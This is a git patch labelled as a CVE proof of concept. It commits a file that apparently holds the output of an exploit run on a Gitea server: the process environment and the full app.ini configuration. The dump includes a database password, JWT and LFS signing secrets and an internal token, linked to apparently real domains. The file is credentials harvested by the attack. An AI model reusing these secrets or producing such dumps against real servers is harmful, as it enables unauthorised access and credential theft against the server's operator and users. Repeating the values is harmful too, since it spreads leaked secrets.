From 64616bc4c54e7bca66a3862dc25c04abba296dee Mon Sep 17 00:00:00 2001
From: poc <poc@example.invalid>
Date: Tue, 27 Oct 2026 14:12:26 +0000
Subject: [PATCH] cve-2026-60004

---
 output | 183 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 183 insertions(+)
 create mode 100644 output

diff --git a/output b/output
new file mode 100644
index 0000000..fca7caa
--- /dev/null
+++ b/output
@@ -0,0 +1,183 @@
+###ENV-BEGIN
+-- proc1-environ --
+sh: can't open /proc/1/environ: Permission denied
+-- env --
+GITEA_CUSTOM=/data/gitea
+GITEA_WORK_DIR=/app/gitea
+GITEA__database__DB_TYPE=mysql
+GITEA__database__HOST=db:3306
+GITEA__database__NAME=gitea
+GITEA__database__PASSWD=gitea
+GITEA__database__USER=gitea
+GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
+GIT_DIR=.
+GIT_EXEC_PATH=/usr/libexec/git-core
+GIT_IMPLICIT_WORK_TREE=0
+GIT_NO_REPLACE_OBJECTS=1
+GIT_PREFIX=
+GIT_TERMINAL_PROMPT=0
+GNUPGHOME=/data/gitea/home/.gnupg
+HOME=/data/gitea/home
+HOSTNAME=77ac1a2703e0
+LC_ALL=C
+OLDPWD=/etc/s6/gitea
+PATH=/usr/libexec/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+PWD=/data/gitea/tmp/local-repo/upload.git4043338968
+SHLVL=4
+USER=git
+USER_GID=1000
+USER_UID=1000
+-- app.ini --
+FILE:/data/gitea/conf/app.ini
+APP_NAME=Gitea: Git with a cup of tea
+RUN_MODE=prod
+RUN_USER=git
+I_AM_BEING_UNSAFE_RUNNING_AS_ROOT=false
+
+[repository]
+ROOT=/data/git/repositories
+ENABLE_PUSH_CREATE_USER=true
+ENABLE_PUSH_CREATE_ORG=true
+
+
+[repository.local]
+LOCAL_COPY_PATH=/data/gitea/tmp/local-repo
+
+[repository.upload]
+TEMP_PATH=/data/gitea/uploads
+
+[server]
+APP_DATA_PATH=/data/gitea
+DOMAIN=https://dev.virtuallyteaching.net
+SSH_DOMAIN=dev.xxampletech.tk
+HTTP_PORT=3000
+ROOT_URL=https://dev.virtuallyteaching.net/
+DISABLE_SSH=false
+SSH_PORT=22
+SSH_LISTEN_PORT=22
+LFS_START_SERVER=true
+HTTP_ADDR=0.0.0.0
+PROTOCOL=
+USE_PROXY_PROTOCOL=false
+PROXY_PROTOCOL_TLS_BRIDGING=false
+PROXY_PROTOCOL_HEADER_TIMEOUT=5s
+PROXY_PROTOCOL_ACCEPT_UNKNOWN=false
+ALLOW_GRACEFUL_RESTARTS=true
+GRACEFUL_HAMMER_TIME=1m0s
+STARTUP_TIMEOUT=0s
+PER_WRITE_TIMEOUT=30s
+PER_WRITE_PER_KB_TIMEOUT=10s
+STATIC_URL_PREFIX=
+LOCAL_ROOT_URL=http://localhost:3000/
+LOCAL_USE_PROXY_PROTOCOL=false
+REDIRECT_OTHER_PORT=false
+PORT_TO_REDIRECT=80
+REDIRECTOR_USE_PROXY_PROTOCOL=false
+OFFLINE_MODE=false
+STATIC_ROOT_PATH=/app/gitea
+STATIC_CACHE_TIME=6h0m0s
+ENABLE_GZIP=
+ENABLE_PPROF=false
+PPROF_DATA_PATH=/app/gitea/data/tmp/pprof
+LANDING_PAGE=home
+SSH_SERVER_CIPHERS=
+SSH_SERVER_KEY_EXCHANGES=
+SSH_SERVER_MACS=
+SSH_KEYGEN_PATH=
+SSH_SERVER_USE_PROXY_PROTOCOL=false
+SSH_TRUSTED_USER_CA_KEYS_FILENAME=/data/git/.ssh/gitea-trusted-user-ca-keys.pem
+SSH_AUTHORIZED_PRINCIPALS_ALLOW=off
+MINIMUM_KEY_SIZE_CHECK=true
+SSH_AUTHORIZED_KEYS_BACKUP=true
+SSH_CREATE_AUTHORIZED_KEYS_FILE=true
+SSH_EXPOSE_ANONYMOUS=false
+SSH_AUTHORIZED_KEYS_COMMAND_TEMPLATE={{.AppPath}} --config={{.CustomConf}} serv key-{{.Key.ID}}
+SSH_PER_WRITE_TIMEOUT=30s
+SSH_PER_WRITE_PER_KB_TIMEOUT=10s
+BUILTIN_SSH_SERVER_USER=git
+SSH_USER=git
+LFS_JWT_SECRET=0dfWUHAE4SOIvcwGyQRymcVjX2Cf37hFFVAce5ecqJo
+
+[database]
+PATH=/data/gitea/gitea.db
+DB_TYPE=mysql
+HOST=db:3306
+NAME=gitea
+USER=gitea
+PASSWD=gitea
+LOG_SQL=false
+SCHEMA=
+SSL_MODE=disable
+CHARSET=utf8mb4
+
+[indexer]
+ISSUE_INDEXER_PATH=/data/gitea/indexers/issues.bleve
+
+[session]
+PROVIDER_CONFIG=/data/gitea/sessions
+PROVIDER=file
+
+[picture]
+AVATAR_UPLOAD_PATH=/data/gitea/avatars
+REPOSITORY_AVATAR_UPLOAD_PATH=/data/gitea/repo-avatars
+
+[attachment]
+PATH=/data/gitea/attachments
+
+[log]
+MODE=console
+LEVEL=info
+ROUTER=console
+ROOT_PATH=/data/gitea/log
+STACKTRACE_LEVEL=none
+BUFFER_LEN=10000
+ENABLE_SSH_LOG=false
+ACCESS_LOG_TEMPLATE={{.Ctx.RemoteHost}} - {{.Identity}} {{.Start.Format "[02/Jan/2006:15:04:05 -0700]" }} "{{.Ctx.Req.Method}} {{.Ctx.Req.URL.RequestURI}} {{.Ctx.Req.Proto}}" {{.ResponseWriter.Status}} {{.ResponseWriter.Size}} "{{.Ctx.Req.Referer}}" "{{.Ctx.Req.UserAgent}}"
+REQUEST_ID_HEADERS=
+
+[security]
+INSTALL_LOCK=true
+SECRET_KEY=
+REVERSE_PROXY_LIMIT=1
+REVERSE_PROXY_TRUSTED_PROXIES=*
+INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2ODc4OTg1Mjl9.Q3WdKcqFhy9ynXO-SUowAzJsKB4jPkQ3gFa3lC0KJiY
+PASSWORD_HASH_ALGO=pbkdf2
+
+[service]
+DISABLE_REGISTRATION=false
+REQUIRE_SIGNIN_VIEW=false
+REGISTER_EMAIL_CONFIRM=false
+ENABLE_NOTIFY_MAIL=false
+ALLOW_ONLY_EXTERNAL_REGISTRATION=false
+ENABLE_CAPTCHA=false
+DEFAULT_KEEP_EMAIL_PRIVATE=false
+DEFAULT_ALLOW_CREATE_ORGANIZATION=true
+DEFAULT_ENABLE_TIMETRACKING=true
+NO_REPLY_ADDRESS=noreply.localhost
+
+[lfs]
+PATH=/data/git/lfs
+
+[ssh.minimum_key_sizes]
+
+[oauth2]
+JWT_SECRET=2vkSe4P4opqvjO9XzzRdTa2g1bdWFF7XFqnj9pz1jkk
+
+[mailer]
+ENABLED=false
+
+[openid]
+ENABLE_OPENID_SIGNIN=true
+ENABLE_OPENID_SIGNUP=true
+
+[cron.update_checker]
+ENABLED=false
+
+[repository.pull-request]
+DEFAULT_MERGE_STYLE=merge
+
+[repository.signing]
+DEFAULT_TRUST_MODEL=committer
+
+-- dotenv --
+###ENV-END
\ No newline at end of file